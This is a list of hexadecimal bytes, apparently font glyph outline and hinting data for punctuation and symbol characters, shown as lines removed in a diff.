- 0x4,0x0,0x0,0x3,0x0,0x13,0x11,0x14,0x12,0x39,0x13,0x14,0x40,0xa,0x1,0x1,
- 0x5,0x3,0x2,0x3,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,
- 0xb7,0x1,0x1,0x1,0x0,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x39,0x39,0x13,
- 0x14,0x31,0x30,0x1,0x17,0x3,0x13,0x7,0x1,0x1,0x5c,0x69,0xd7,0xee,0x63,0xfe,
- 0xed,0x4,0x17,0x40,0xfe,0x36,0xfe,0x35,0x42,0x2,0xd,0x0,0x1,0xff,0x78,0xfe,
- 0x66,0x4,0x9b,0x5,0x55,0x0,0x3,0x0,0x1d,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e,
- 0x2e,0x2e,0x0,0xb7,0x1,0x0,0x3,0x0,0x2,0x1,0x0,0x0,0x13,0x10,0xcd,0xcd,
- 0x10,0xcd,0xcd,0x13,0x31,0x30,0x9,0x1,0x23,0x1,0x4,0x9b,0xfb,0x50,0x73,0x4,
- 0xb1,0x5,0x55,0xf9,0x11,0x6,0xef,0x0,0x1,0x0,0x0,0x1,0xb0,0x1,0xa9,0x2,
- 0x32,0x0,0x3,0x0,0x1b,0xb1,0x2,0x1,0x2f,0x3c,0xb2,0x3,0x0,0x1,0x10,0xc0,
- 0xc0,0x0,0xb1,0x3,0x2,0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0x31,0x30,
- 0x13,0x21,0x15,0x21,0x3,0x1,0xa6,0xfe,0x57,0x2,0x32,0x82,0x0,0x0,0x1,0x0,
- 0xe3,0x1,0xb0,0x4,0x6,0x2,0x32,0x0,0x3,0x0,0x19,0xb1,0x0,0x3,0x2f,0x3c,
- 0xb1,0x2,0x1,0x2f,0x3c,0x0,0xb1,0x3,0x2,0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10,
- 0xdd,0x3c,0x31,0x30,0x13,0x21,0x15,0x21,0xe3,0x3,0x23,0xfc,0xdd,0x2,0x32,0x82,
- 0x0,0x0,0x1,0x0,0x0,0x1,0xb0,0x5,0x89,0x2,0x32,0x0,0x3,0x0,0x1b,0xb1,
- 0x2,0x1,0x2f,0x3c,0xb2,0x3,0x0,0x1,0x10,0xc0,0xc0,0x0,0xb1,0x3,0x2,0x2f,
- 0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0x31,0x30,0x13,0x21,0x15,0x21,0x9,0x5,
- 0x80,0xfa,0x77,0x2,0x32,0x82,0x0,0x0,0x1,0x0,0x67,0xfe,0x5f,0x1,0xd1,0x5,
- 0x5d,0x0,0x11,0x0,0x51,0xb4,0x0,0xa,0x9,0x1,0x3,0x17,0x2f,0x3c,0xb3,0xe,
- 0xd,0x5,0x1,0x10,0xc4,0xc4,0xc4,0xb1,0xf,0x5,0x10,0xcd,0x0,0xb3,0x1,0x1,
- 0x3,0x0,0x13,0x10,0xc0,0x13,0xb3,0x1,0x9,0x1,0x0,0x13,0x10,0xc0,0x13,0xb6,
- 0x1,0x1,0x0,0x0,0x0,0x3,0x0,0x13,0x11,0x14,0x12,0x39,0x13,0x14,0xb6,0x1,
- 0x1,0xa,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x39,0x13,0x14,0xb3,0x8,0x1,
- 0x2,0x3,0x3f,0x3f,0x31,0x30,0x1,0x15,0x7,0x22,0x26,0x11,0x10,0x36,0x33,0x17,
- 0x15,0x22,0x6,0x11,0x17,0x15,0x10,0x16,0x1,0xd1,0x26,0xe9,0x5b,0x5b,0xe9,0x26,
- 0x92,0x39,0x1,0x39,0xfe,0xe2,0x82,0x1,0xfa,0x2,0x85,0x2,0x85,0xfa,0x1,0x82,
- 0x92,0xfe,0x8a,0xf4,0xf5,0xfe,0x8b,0x92,0x0,0x0,0x1,0x0,0x66,0xfe,0x5f,0x1,
- 0xd0,0x5,0x5d,0x0,0x11,0x0,0x51,0xb4,0x0,0xa,0x9,0x1,0x3,0x17,0x2f,0x3c,
- 0xb3,0xf,0xe,0x5,0x1,0x10,0xc4,0xc4,0xc4,0xb1,0xd,0x5,0x10,0xcd,0x0,0xb3,
- 0x1,0x9,0x3,0x0,0x13,0x10,0xc0,0x13,0xb3,0x1,0x1,0x1,0x0,0x13,0x10,0xc0,
- 0x13,0xb6,0x1,0x1,0xa,0x0,0x0,0x3,0x0,0x13,0x11,0x14,0x12,0x39,0x13,0x14,
- 0xb6,0x1,0x1,0x0,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x39,0x13,0x14,0xb3,
- 0x8,0x3,0x2,0x1,0x3f,0x3f,0x31,0x30,0x13,0x35,0x37,0x32,0x16,0x11,0x10,0x6,
- 0x23,0x27,0x35,0x32,0x36,0x11,0x35,0x37,0x10,0x26,0x66,0x26,0xe9,0x5b,0x5b,0xe9,
- 0x26,0x91,0x39,0x1,0x39,0x4,0xda,0x82,0x1,0xfa,0xfd,0x7b,0xfd,0x7b,0xfa,0x1,
- 0x82,0x92,0x1,0x75,0xf5,0xf4,0x1,0x76,0x92,0x0,0x1,0x0,0x71,0xfe,0x66,0x1,
- 0xce,0x5,0x55,0x0,0x7,0x0,0x30,0xb1,0x0,0x7,0x2f,0x3c,0xb4,0x6,0x5,0x2,
- 0x1,0x3,0x17,0x2f,0x3c,0xb2,0x4,0x3,0x7,0x10,0xdd,0x3c,0x0,0x40,0xb,0x1,
- 0x3,0x2,0x1,0x0,0x1,0x0,0x7,0x6,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,
- 0xcd,0x10,0xcd,0xcd,0x13,0x31,0x30,0x13,0x21,0x15,0x23,0x11,0x33,0x15,0x21,0x71,
- 0x1,0x5d,0xc3,0xc3,0xfe,0xa3,0x5,0x55,0x74,0xf9,0xf9,0x74,0x0,0x0,0x1,0x0,
- 0x69,0xfe,0x66,0x1,0xc6,0x5,0x55,0x0,0x7,0x0,0x30,0xb4,0x6,0x5,0x2,0x1,
- 0x3,0x17,0x2f,0x3c,0xb1,0x0,0x7,0x2f,0x3c,0xb2,0x4,0x3,0x7,0x10,0xdd,0x3c,
- 0x0,0x40,0xb,0x1,0x5,0x4,0x1,0x7,0x6,0x0,0x0,0x1,0x0,0x0,0x13,0x10,
- 0xcd,0xcd,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0x31,0x30,0x1,0x21,0x35,0x33,0x11,
- 0x23,0x35,0x21,0x1,0xc6,0xfe,0xa3,0xc3,0xc3,0x1,0x5d,0xfe,0x66,0x74,0x6,0x7,
- 0x74,0x0,0x2,0x0,0x75,0xff,0xf2,0x5,0x97,0x5,0x49,0x0,0x2a,0x0,0x33,0x0,
- 0x8c,0xb0,0x3,0x2f,0xb6,0x0,0x2a,0x29,0x28,0x27,0x4,0x3,0x10,0x17,0xdd,0x3c,
- 0xb7,0x33,0x2b,0x26,0x1c,0x14,0x12,0xd,0x27,0x10,0xc4,0xc0,0xc4,0xc0,0xc0,0xc0,
- 0xc0,0xb2,0x7,0x6,0x3,0x10,0xc0,0xc0,0x40,0x9,0x1a,0x1b,0x1a,0x8,0x5,0x1,
- 0x5,0x3,0x27,0x11,0x12,0x17,0x39,0x2f,0xb3,0x2e,0xd,0x23,0x14,0x10,0xcd,0x10,
- 0xcd,0x0,0xb1,0x0,0x1,0x2f,0x3c,0xb1,0x1c,0x1b,0x2f,0x3c,0xb6,0x1,0x1,0x7,
- 0x0,0x0,0x3,0x0,0x13,0x11,0x14,0x12,0x39,0x13,0x14,0x40,0xd,0x1,0x33,0x2a,
- 0x29,0x28,0x27,0x8,0x6,0x5,0x8,0x1,0x0,0x0,0x13,0x11,0x12,0x17,0x39,0x13,
- 0xb5,0x2b,0x26,0x12,0x3,0x1b,0x1,0x11,0x12,0x17,0x39,0xb3,0x17,0x1,0xa,0x0,
- 0x3f,0x3f,0xb3,0x31,0xa,0x20,0x17,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x33,0x1f,
- 0x1,0x14,0x7,0x17,0x7,0x27,0x6,0x21,0x20,0x26,0x11,0x34,0x36,0x37,0x36,0x37,
- 0x26,0x35,0x34,0x36,0x33,0x32,0x16,0x15,0x7,0x23,0x35,0x34,0x26,0x23,0x22,0x6,
- 0x15,0x14,0x1f,0x1,0x1,0x3d,0x2,0x25,0xe,0x1,0x15,0x14,0x16,0x21,0x20,0x37,
- 0x4,0x1e,0x98,0x1,0x1,0x10,0xef,0x54,0xca,0x55,0xfe,0x8b,0xfe,0x98,0xd2,0x61,
- 0x8d,0xd,0x1c,0x7c,0xab,0xeb,0xe6,0xa8,0x2,0x97,0x52,0xa9,0x99,0x64,0x57,0x22,
- 0x2,0x2,0xfd,0xce,0x9b,0x49,0x79,0x1,0x11,0x1,0x47,0x28,0x2,0x5b,0x24,0x45,
- 0x6d,0x55,0xc5,0x6b,0xa7,0xb5,0xa0,0x1,0x13,0xb5,0x90,0x1d,0x3,0x6,0x68,0x87,
- 0xbf,0x8b,0x88,0xba,0x55,0x33,0x98,0x4a,0x42,0x65,0x72,0x44,0x1c,0xfe,0x54,0x1c,
- 0x38,0x46,0x81,0x22,0x5b,0x9f,0xd0,0x5d,0x92,0x0,0x2,0x0,0x9a,0xfe,0x77,0x4,
- 0x4f,0x5,0x63,0x0,0x30,0x0,0x3e,0x0,0x5d,0x40,0xa,0x2b,0x29,0x27,0x1a,0x19,
- 0x13,0x11,0xf,0x1,0x0,0x2e,0x2e,0x2f,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2f,0xb7,
- 0x3d,0x27,0x36,0xf,0x20,0x13,0x8,0x2b,0x10,0xcd,0x10,0xcd,0x10,0xcd,0x10,0xcd,
- 0x0,0xb1,0x1a,0x19,0x2f,0x3c,0xb1,0x0,0x1,0x2f,0x3c,0x40,0xd,0x3b,0x34,0x1,
- 0x1,0x3b,0x34,0x29,0x11,0x4,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39,
- 0x13,0x14,0x2f,0x2f,0xb3,0x2e,0x1,0x16,0x3,0x3f,0x3f,0xb3,0x1d,0x16,0x5,0x2e,
- 0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x23,0x27,0x34,0x26,0x23,0x22,0x6,0x15,0x14,
- 0x1f,0x1,0x5,0x1e,0x1,0x15,0x14,0x7,0x16,0x15,0x14,0x6,0x21,0x20,0x26,0x35,
- 0x33,0x14,0x16,0x33,0x32,0x36,0x35,0x34,0x26,0x27,0x25,0x2e,0x1,0x35,0x34,0x37,
- 0x26,0x35,0x34,0x36,0x33,0x20,0x16,0x1,0x5,0x16,0x33,0x32,0x35,0x34,0x27,0x25,
- 0x26,0x23,0x22,0x15,0x14,0x4,0x2f,0x86,0x1,0x72,0xc8,0xb8,0x62,0x64,0x58,0x1,
- 0x32,0xaf,0x5b,0x84,0x87,0xb5,0xfe,0xd7,0xfe,0xdc,0xac,0x8a,0x63,0xcc,0xf7,0x79,
- 0x41,0x7e,0xfe,0x5b,0x7d,0x4f,0x9c,0x67,0x99,0xf5,0x1,0x33,0x9f,0xfd,0x88,0x1,
- 0x34,0x3d,0x29,0x76,0xa3,0xfe,0xd9,0x46,0x20,0x78,0x3,0xf9,0x38,0x70,0x40,0x3f,
- 0x76,0x94,0x1f,0x1a,0x5b,0x33,0x5c,0x7d,0xd6,0x37,0x41,0xcd,0xde,0x88,0x8c,0xef,
- 0xa7,0x52,0x48,0x92,0x61,0x43,0x22,0x6f,0x21,0x73,0x93,0xcc,0x24,0x42,0xaf,0xd0,
- 0x83,0x7b,0xfc,0x9a,0x56,0x11,0xd1,0x64,0x30,0x57,0x15,0xc1,0x7e,0x0,0x1,0x0,
- 0xec,0xfe,0x66,0x3,0xfb,0x5,0x55,0x0,0xb,0x0,0x46,0xb1,0x9,0x8,0x2f,0x3c,
- 0xb4,0xb,0xa,0x7,0x6,0x3,0x17,0x2f,0x3c,0xb1,0x3,0x2,0x2f,0x3c,0xb5,0x0,
- 0x5,0x4,0x1,0x3,0x6,0x10,0x17,0xdd,0x3c,0x0,0xb7,0x1,0x0,0xb,0x0,0x6,
- 0x5,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0xb4,0xa,0x9,0x2,0x1,
- 0x3,0x17,0x2f,0x3c,0xb5,0x8,0x7,0x4,0x3,0x3,0x1,0x10,0x17,0xdd,0x3c,0x31,
- 0x30,0x1,0x11,0x21,0x15,0x21,0x11,0x23,0x11,0x21,0x35,0x21,0x11,0x2,0xc2,0x1,
- 0x39,0xfe,0xc7,0x9a,0xfe,0xc4,0x1,0x3c,0x5,0x55,0xfe,0x89,0x74,0xfa,0xfc,0x5,
- 0x4,0x74,0x1,0x77,0x0,0x0,0x1,0x0,0xec,0xfe,0x66,0x3,0xfb,0x5,0x55,0x0,
- 0x13,0x0,0x66,0xb4,0x11,0x10,0xd,0xc,0x3,0x17,0x2f,0x3c,0xb6,0x13,0x12,0xf,
- 0xe,0xb,0xa,0x5,0x17,0x2f,0x3c,0xb4,0x7,0x6,0x3,0x2,0x3,0x17,0x2f,0x3c,
- 0xb7,0x0,0x9,0x8,0x5,0x4,0x1,0x5,0xa,0x10,0x17,0xdd,0x3c,0x0,0xb7,0x1,
- 0x0,0x13,0x0,0xa,0x9,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0xb4,
- 0xc,0xb,0x8,0x7,0x3,0x17,0x2f,0x3c,0xb4,0x12,0x11,0x2,0x1,0x3,0x17,0x2f,
- 0x3c,0xb5,0x10,0xf,0x4,0x3,0x3,0x1,0x10,0x17,0xdd,0x3c,0xb5,0xe,0xd,0x6,
- 0x5,0x3,0x7,0x10,0x17,0xdd,0x3c,0x31,0x30,0x1,0x11,0x21,0x15,0x21,0x11,0x21,
- 0x15,0x21,0x11,0x23,0x11,0x21,0x35,0x21,0x11,0x21,0x35,0x21,0x11,0x2,0xc2,0x1,
- 0x39,0xfe,0xc7,0x1,0x39,0xfe,0xc7,0x9a,0xfe,0xc4,0x1,0x3c,0xfe,0xc4,0x1,0x3c,
- 0x5,0x55,0xfe,0x89,0x74,0xfc,0xe8,0x74,0xfe,0x88,0x1,0x78,0x74,0x3,0x18,0x74,
- 0x1,0x77,0x0,0x0,0x1,0x1,0x7,0x2,0x9f,0x3,0xe2,0x5,0x55,0x0,0xe,0x0,
- 0x66,0xb1,0xb,0xa,0x2f,0x3c,0xb2,0xd,0xc,0xa,0x10,0xdd,0x3c,0xb5,0x9,0x8,
- 0x7,0x6,0x5,0xa,0x10,0xc0,0xc0,0xc0,0xc0,0xc0,0xb5,0xe,0x3,0x2,0x1,0x0,
- 0xc,0x10,0xc0,0xc0,0xc0,0xc0,0xc0,0xb2,0x4,0xc,0xa,0x11,0x12,0x39,0x0,0xb4,
- 0x1,0xc,0xb,0x0,0x0,0x13,0x10,0xcd,0xcd,0x13,0x40,0xc,0x1,0x1,0x6,0x5,
- 0x4,0x3,0x2,0x5,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,
- 0x40,0xd,0x1,0xe,0xd,0xa,0x9,0x8,0x7,0x1,0x0,0x8,0xb,0x2,0x0,0x13,
- 0x11,0x12,0x17,0x39,0x13,0x31,0x30,0x1,0x5,0x17,0x7,0x27,0x7,0x27,0x37,0x25,
- 0x37,0x5,0x11,0x33,0x11,0x25,0x3,0xe2,0xfe,0xe7,0xa7,0x50,0xaa,0xb7,0x50,0xaf,
- 0xfe,0xe9,0x23,0x1,0x18,0x66,0x1,0x16,0x4,0x32,0x69,0xee,0x3c,0xf7,0xf7,0x3c,
- 0xee,0x69,0x64,0x64,0x1,0x23,0xfe,0xdd,0x64,0x0,0x1,0x0,0x5d,0x3,0x33,0x0,
- 0xe7,0x5,0x55,0x0,0x3,0x0,0x1d,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,
- 0x0,0xb7,0x1,0x0,0x1,0x1,0x3,0x2,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,
- 0xcd,0x13,0x31,0x30,0x13,0x23,0x3,0x33,0xd3,0x63,0x13,0x8a,0x3,0x33,0x2,0x22,
- 0x0,0x0,0x2,0x0,0x5d,0x3,0x33,0x2,0x22,0x5,0x55,0x0,0x3,0x0,0x7,0x0,
- 0x32,0xb7,0x7,0x6,0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,
- 0x2e,0x2e,0x0,0x40,0xe,0x1,0x4,0x5,0x1,0x7,0x6,0x0,0x0,0x1,0x1,0x3,
- 0x2,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x10,0xcd,0xcd,
- 0x13,0x31,0x30,0x13,0x23,0x3,0x33,0x1,0x23,0x3,0x33,0xd3,0x63,0x13,0x8a,0x1,
- 0x28,0x63,0x14,0x8a,0x3,0x33,0x2,0x22,0xfd,0xde,0x2,0x22,0x0,0x0,0x2,0x0,
- 0x52,0x0,0x15,0x4,0xb8,0x4,0xb8,0x0,0x2f,0x0,0x3a,0x0,0x89,0xb1,0x2,0x1,
- 0x2f,0x3c,0xb2,0x0,0x2f,0x1,0x10,0xdd,0x3c,0xb4,0x39,0x2e,0x29,0x18,0x2f,0x10,
- 0xc4,0xc4,0xc0,0xc4,0xb4,0x1e,0x13,0x12,0x3,0x1,0x10,0xc0,0xc0,0xc0,0xc4,0xb3,
- 0x24,0x23,0x1,0x2f,0x11,0x12,0x39,0x39,0xb5,0x33,0x29,0xd,0x18,0x7,0x1e,0x10,
- 0xcd,0x10,0xcd,0x10,0xcd,0x0,0xb1,0x0,0x1,0x2f,0x3c,0x40,0x13,0x26,0x21,0x1,
- 0x1,0x2f,0x2e,0x26,0x24,0x23,0x21,0x13,0x12,0x3,0x2,0xa,0x2,0x0,0x0,0x0,
- 0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0x2f,0x2f,0xb5,0x1b,0x1,0x1b,0x1,0x0,
- 0x1,0x11,0x14,0x12,0x39,0x14,0x2f,0xb3,0x2c,0x2,0x15,0x0,0x3f,0x3f,0x40,0xa,
- 0x36,0x26,0x30,0x2c,0x10,0x15,0xa,0x1b,0x5,0x21,0x10,0xcd,0x10,0xcd,0x10,0xcd,
- 0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x33,0x11,0x17,0x14,0x33,0x32,0x11,0x10,0x26,
- 0x21,0x20,0x6,0x11,0x10,0x16,0x21,0x20,0x37,0x17,0x6,0x21,0x20,0x26,0x11,0x10,
- 0x36,0x21,0x20,0x16,0x11,0x10,0x6,0x23,0x22,0x27,0x23,0x6,0x23,0x22,0x26,0x35,
- 0x34,0x36,0x33,0x32,0x17,0x33,0x27,0x22,0x6,0x15,0x14,0x16,0x33,0x32,0x36,0x35,
- 0x34,0x3,0x45,0x66,0x2,0x53,0x63,0x86,0xfe,0xc3,0xfe,0x9e,0x97,0xa7,0x1,0x79,
- 0x1,0x0,0x2c,0x44,0x3c,0xfe,0xbb,0xfe,0x75,0xd9,0xce,0x1,0x80,0x1,0x53,0xc5,
- 0x4e,0x68,0x91,0x17,0x4,0x30,0xc3,0x96,0x70,0x71,0x98,0xb1,0x2b,0x3,0xc2,0x7a,
- 0x46,0x46,0x70,0x87,0x44,0x3,0xc9,0xfe,0x29,0x2b,0x6c,0x1,0x5f,0x1,0x28,0x7d,
- 0x94,0xfe,0xa6,0xfe,0x90,0xa4,0x52,0x31,0x69,0xd5,0x1,0x85,0x1,0x7d,0xcc,0xaa,
- 0xfe,0xda,0xfe,0xf4,0xc9,0x6e,0x74,0x98,0xcc,0xc6,0x92,0x5e,0x16,0x64,0xaf,0xac,
- 0x6d,0x71,0xe2,0xd9,0x0,0x0,0x2,0x0,0x5e,0x0,0x0,0x4,0x8b,0x5,0x55,0x0,
- 0x1b,0x0,0x1f,0x0,0x8d,0x40,0x20,0x1f,0x1e,0x1d,0x1c,0x1b,0x1a,0x19,0x18,0x17,
- 0x16,0x15,0x14,0x13,0x12,0x11,0x10,0xf,0xe,0xd,0xc,0xb,0xa,0x9,0x8,0x7,
- 0x6,0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,
- 0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,
- 0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0xb6,0x1,0x16,0x15,0x12,0x11,0x0,0x0,
- 0x13,0x10,0xcd,0xcd,0xcd,0xcd,0x13,0xb4,0x8,0x7,0x4,0x3,0x3,0x17,0x2f,0x3c,
- 0xb6,0xa,0x9,0x6,0x5,0x2,0x1,0x5,0x17,0x2f,0x3c,0xb6,0x18,0x17,0x14,0x13,
- 0x10,0xf,0x5,0x17,0x2f,0x3c,0xb7,0x1c,0x1d,0x1a,0x19,0xe,0xd,0x5,0xf,0x10,
- 0x17,0xdd,0x3c,0xb7,0x1f,0x1e,0x0,0x1b,0xc,0xb,0x5,0x1,0x10,0x17,0xdd,0x3c,
- 0x31,0x30,0x1,0x7,0x23,0x3,0x23,0x13,0x21,0x3,0x23,0x13,0x23,0x37,0x33,0x13,
- 0x23,0x37,0x33,0x13,0x33,0x3,0x21,0x13,0x33,0x3,0x33,0x7,0x23,0xb,0x1,0x21,
- 0x3,0x21,0x4,0x4d,0x10,0xec,0x44,0x6d,0x45,0xfe,0xd0,0x44,0x6c,0x45,0xec,0xf,
- 0xec,0x31,0xec,0x10,0xec,0x43,0x6c,0x44,0x1,0x2f,0x44,0x6d,0x44,0xea,0x10,0xea,
- 0x30,0x3c,0xfe,0xd1,0x31,0x1,0x2f,0x2,0xd,0x5c,0xfe,0x4f,0x1,0xb1,0xfe,0x4f,
- 0x1,0xb1,0x5c,0x1,0x40,0x5c,0x1,0xac,0xfe,0x54,0x1,0xac,0xfe,0x54,0x5c,0xfe,
- 0xc0,0x1,0x40,0xfe,0xc0,0x0,0x2,0x0,0x5d,0x3,0x3d,0x2,0x90,0x5,0x65,0x0,
- 0xb,0x0,0x13,0x0,0x2f,0xb1,0x9,0x3,0x2f,0x2f,0xb3,0x12,0x3,0xe,0x9,0x10,
- 0xcd,0x10,0xcd,0x0,0xb7,0x6,0x1,0x1,0x6,0x2,0x0,0x0,0x0,0x13,0x11,0x14,
- 0x12,0x39,0x13,0x14,0x2f,0xb1,0x0,0x1,0x3f,0xb3,0x10,0x6,0xc,0x0,0x10,0xcd,
- 0x10,0xcd,0x31,0x30,0x1,0x32,0x16,0x15,0x14,0x6,0x23,0x22,0x26,0x35,0x34,0x36,
- 0x17,0x22,0x15,0x14,0x33,0x32,0x35,0x34,0x1,0x77,0x74,0xa5,0xa5,0x74,0x75,0xa5,
- 0xa5,0x75,0xc5,0xc5,0xc4,0x5,0x65,0xa2,0x72,0x72,0xa2,0xa2,0x72,0x73,0xa1,0x54,
- 0xc0,0xc0,0xc0,0xc0,0x0,0x0,0x1,0x0,0x9b,0x0,0xd2,0x4,0x4d,0x4,0x84,0x0,
- 0xb,0x0,0x3f,0xb1,0x3,0x2,0x2f,0x3c,0xb4,0x0,0x5,0x4,0x1,0x3,0x17,0x2f,
- 0x3c,0xb1,0x9,0x8,0x2f,0x3c,0xb5,0xb,0xa,0x7,0x6,0x3,0x1,0x10,0x17,0xdd,
- 0x3c,0x0,0xb1,0x0,0xb,0x2f,0x3c,0xb4,0x8,0x7,0x4,0x3,0x3,0x17,0x2f,0x3c,
- 0xb1,0x6,0x5,0x2f,0x3c,0xb5,0xa,0x9,0x2,0x1,0x3,0x3,0x10,0x17,0xdd,0x3c,
- 0x31,0x30,0x25,0x11,0x21,0x35,0x21,0x11,0x33,0x11,0x21,0x15,0x21,0x11,0x2,0x2e,
- 0xfe,0x6d,0x1,0x93,0x8c,0x1,0x93,0xfe,0x6d,0xd2,0x1,0x97,0x82,0x1,0x99,0xfe,
- 0x67,0x82,0xfe,0x69,0x0,0x0,0x3,0x0,0x9b,0x1,0x1,0x4,0x4d,0x4,0x55,0x0,
- 0x7,0x0,0xf,0x0,0x13,0x0,0x45,0xb1,0x10,0x13,0x2f,0x3c,0xb1,0x12,0x11,0x2f,
- 0x3c,0xb1,0xe,0x6,0x2f,0x2f,0xb3,0xa,0xe,0x2,0x6,0x10,0xcd,0x10,0xcd,0x0,
- 0xb1,0x10,0x11,0x2f,0x3c,0xb2,0x13,0x12,0x11,0x10,0xdd,0x3c,0xb7,0xc,0x1,0x1,
- 0xc,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x39,0x13,0x14,0x2f,0xb1,0x4,0x2,
- 0x3f,0xb3,0x8,0xc,0x0,0x4,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x32,0x15,0x14,
- 0x23,0x22,0x35,0x34,0x13,0x32,0x15,0x14,0x23,0x22,0x35,0x34,0x1,0x21,0x15,0x21,
- 0x2,0x74,0x5d,0x5d,0x5c,0x5c,0x5d,0x5d,0x5c,0xfe,0x83,0x3,0xb2,0xfc,0x4e,0x4,
- 0x55,0x5c,0x5d,0x5d,0x5c,0xfd,0x65,0x5c,0x5d,0x5d,0x5c,0x1,0x31,0x82,0x0,0x0,
- 0x2,0x0,0x9b,0x1,0xbf,0x4,0x4d,0x3,0x96,0x0,0x3,0x0,0x7,0x0,0x2f,0xb1,
- 0x0,0x3,0x2f,0x3c,0xb1,0x2,0x1,0x2f,0x3c,0xb1,0x4,0x7,0x2f,0x3c,0xb1,0x6,
- 0x5,0x2f,0x3c,0x0,0xb1,0x0,0x1,0x2f,0x3c,0xb1,0x7,0x6,0x2f,0x3c,0xb2,0x3,
- 0x2,0x1,0x10,0xdd,0x3c,0xb2,0x4,0x5,0x6,0x10,0xdd,0x3c,0x31,0x30,0x13,0x21,
- 0x15,0x21,0x15,0x21,0x15,0x21,0x9b,0x3,0xb2,0xfc,0x4e,0x3,0xb2,0xfc,0x4e,0x3,
- 0x96,0x82,0xd3,0x82,0x0,0x0,0x2,0xff,0xfd,0x2,0x4b,0x6,0x1a,0x5,0x55,0x0,
- 0x7,0x0,0x29,0x0,0x98,0xb1,0x5,0x4,0x2f,0x3c,0xb1,0x3,0x2,0x2f,0x3c,0xb1,
- 0x7,0x6,0x2f,0x3c,0xb1,0x1f,0x1e,0x2f,0x3c,0xb1,0x8,0x9,0x2f,0x3c,0xb2,0x0,
- 0x1,0x2,0x10,0xdd,0x3c,0xb6,0x1d,0x1c,0x1b,0x1a,0x19,0x4,0x1e,0x10,0x17,0xdd,
- 0x3c,0xb6,0xe,0xd,0xc,0xb,0xa,0x4,0x9,0x10,0x17,0xdd,0x3c,0xb7,0x29,0x24,
- 0x20,0x14,0x13,0x5,0xa,0x19,0x11,0x12,0x17,0x39,0x0,0x40,0xf,0x1,0x8,0x29,
- 0x20,0x1f,0x0,0x0,0x7,0x4,0x3,0x1,0x6,0x5,0x0,0x0,0x13,0x10,0xcd,0xcd,
- 0x10,0xcd,0xcd,0xcd,0xcd,0x10,0xcd,0xcd,0xcd,0xcd,0x13,0xb1,0x2,0x1,0x2f,0x3c,
- 0xb6,0x1e,0x1d,0x14,0x13,0xa,0x9,0x5,0x17,0x2f,0x3c,0xb4,0x1,0x24,0x2,0x0,
- 0x9,0x11,0x14,0x12,0x39,0x14,0x40,0xd,0x1,0x1c,0x1b,0x1a,0x19,0xe,0xd,0xc,
- 0xb,0x8,0x1f,0x2,0x0,0x13,0x11,0x12,0x17,0x39,0x13,0x31,0x30,0x1,0x11,0x23,
- 0x11,0x21,0x35,0x21,0x15,0x25,0x11,0x23,0x11,0x3d,0x2,0x6,0xf,0x2,0x1,0x23,
- 0x1,0x2f,0x1,0x26,0x27,0x1d,0x2,0x11,0x23,0x11,0x33,0x13,0x1f,0x2,0x36,0x3f,
- 0x2,0x13,0x1,0x65,0x66,0xfe,0xfe,0x2,0x69,0x3,0xb4,0x66,0x3,0x2,0x6,0x6,
- 0xfe,0xf0,0x63,0xfe,0xf0,0x6,0x6,0x2,0x4,0x66,0xa6,0xd5,0x22,0x10,0xb,0x9,
- 0x3,0x10,0x22,0xd4,0x4,0xf9,0xfd,0x52,0x2,0xae,0x5c,0x5c,0x5c,0xfc,0xf6,0x2,
- 0x6a,0xf,0x1f,0xe,0x9,0x3,0xf,0xe,0xfd,0x83,0x2,0x75,0xc,0xe,0x4,0xb,
- 0x12,0x11,0x11,0xfd,0x96,0x3,0xa,0xfe,0xd,0x50,0x28,0x1a,0x13,0x7,0x28,0x50,
- 0x1,0xf3,0x0,0x0,0x1,0x0,0x60,0xfe,0x66,0x4,0x44,0x5,0x55,0x0,0x10,0x0,
- 0x49,0xb1,0x4,0x3,0x2f,0x3c,0xb1,0x0,0x10,0x2f,0x3c,0xb2,0x6,0x5,0x3,0x10,
- 0xdd,0x3c,0xb2,0x2,0x1,0x10,0x10,0xdd,0x3c,0xb4,0xf,0xe,0xb,0x7,0x5,0x10,
- 0xc0,0xc4,0xc0,0xc0,0x0,0x40,0xe,0x1,0x3,0x2,0x1,0x10,0xf,0xe,0x0,0x0,
- 0x5,0x4,0x1,0x0,0x0,0x13,0x10,0xcd,0xcd,0xcd,0xcd,0x10,0xcd,0xcd,0xcd,0x10,
- 0xcd,0xcd,0x13,0xb1,0x7,0x6,0x2f,0x3c,0x31,0x30,0x1,0x23,0x11,0x23,0x11,0x23,
- 0x11,0x23,0x27,0x22,0x26,0x35,0x34,0x36,0x3b,0x1,0x21,0x4,0x44,0x8c,0xa0,0x8c,
